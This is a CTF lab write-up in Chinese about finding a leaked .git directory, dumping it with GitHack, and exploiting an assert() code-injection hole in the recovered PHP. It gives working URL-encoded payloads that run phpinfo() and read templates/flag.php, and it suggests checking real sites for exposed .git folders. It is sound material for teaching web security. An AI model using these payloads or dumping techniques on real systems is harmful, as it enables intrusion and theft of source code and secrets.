一、git源码泄露
【实验原理】
git源码泄露,命令执行
【实验目的】
了解git源码泄露的处理方法
二、题目:
1.发现没啥突破点,打开页面源码查看一下。之前都是右键查看源码,现在又get一个知识点view-source:http://111.200.241.244:56504/也能查看源码。
2.得到?page=flag的信息。尝试访问一下,发现没有反应。
3.发现这条路不通,重新找线索,进入About页面,发现使用Git + PHP + Bootstrap架构。
4.查看一下有没有Git源码泄露,先用disrearch扫描一下目录。发现存在Git源码泄露漏洞。
5.使用 GitHack ( https://github.com/lijiejie/GitHack
)工具,直接用git clone下载。
用法都一样,不会就查看帮助文档。
6.python2 GitHack.py http://111.200.241.244:56504/.git/ 已经下载好了,直接查看。
7.发现存在templates/flag.php ,直接查看,发现没有内容。
8.打开index.php查看一下源码,进行代码审计。
<?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; // I heard '..' is dangerous! assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // TODO: Make this look nice assert("file_exists('$file')") or die("That file doesn't exist!"); ?>
代码审计得:
GET传page参数没有做过滤,所以我们可以进行命令执行漏洞。
assert() 检查一个断言是否为 false,assert()函数会将括号中的字符当成代码来执行,并返回true或false.
strpos() 函数查找字符串在另一字符串中第一次出现的位置。如果没有找到则返回False。
file_exists() 函数检查文件或目录是否存在。
利用assert特性
bool assert(mixed $assertion[,string $description]) 如果assertion是字符串,他会被assert()当做php代码执行。
思路是通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码。
构造file语句,')or phpinfo();# 此处是闭合file_exists()函数 效果如下:
assert("file_exists('') or phpinfo();#')") 执行phpinfo()代码。
?page=') or phpinfo();# 记得需要url编码。
结果如下:
既然能够进行命令执行,我们需要获得的内容是templates/flag.php 构造file语句:
') or print_r(file_get_contents('templates/flag.php'));#
')%20or%20print_r(file_get_contents('templates%2fflag.php'))%3b%23
url编码后输入view-source:http://111.200.241.244:57130/?page=%27)%20or%20print_r(file_get_contents(%27templates%2fflag.php%27))%3b%23
=====================================================================================================
总结:
git源码泄露
当在一个空目录执行 git init 时,Git 会创建一个 .git 目录。 这个目录包含所有的 Git 存储和操作的对象。 如果想备份或复制一个版本库,只需把这个目录拷贝至另一处就可以了
比如某个网站存在.git文件泄露,可以:
http://www.baidu.com/.git
利用方式: github上的githack可以把整个.git备份的文件下载下来。它能解析 .git/index 文件,并找到工程中所有的:文件名和文件 sha1,然后去 .git/objects/ 文件夹下下载对应的文件,通过 zlib 解压文件,按原始的目录结构写入源代码
利用assert特性
bool assert(mixed $assertion[,string $description]) 如果assertion是字符串,他会被assert()当做php代码执行。
思路是通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码。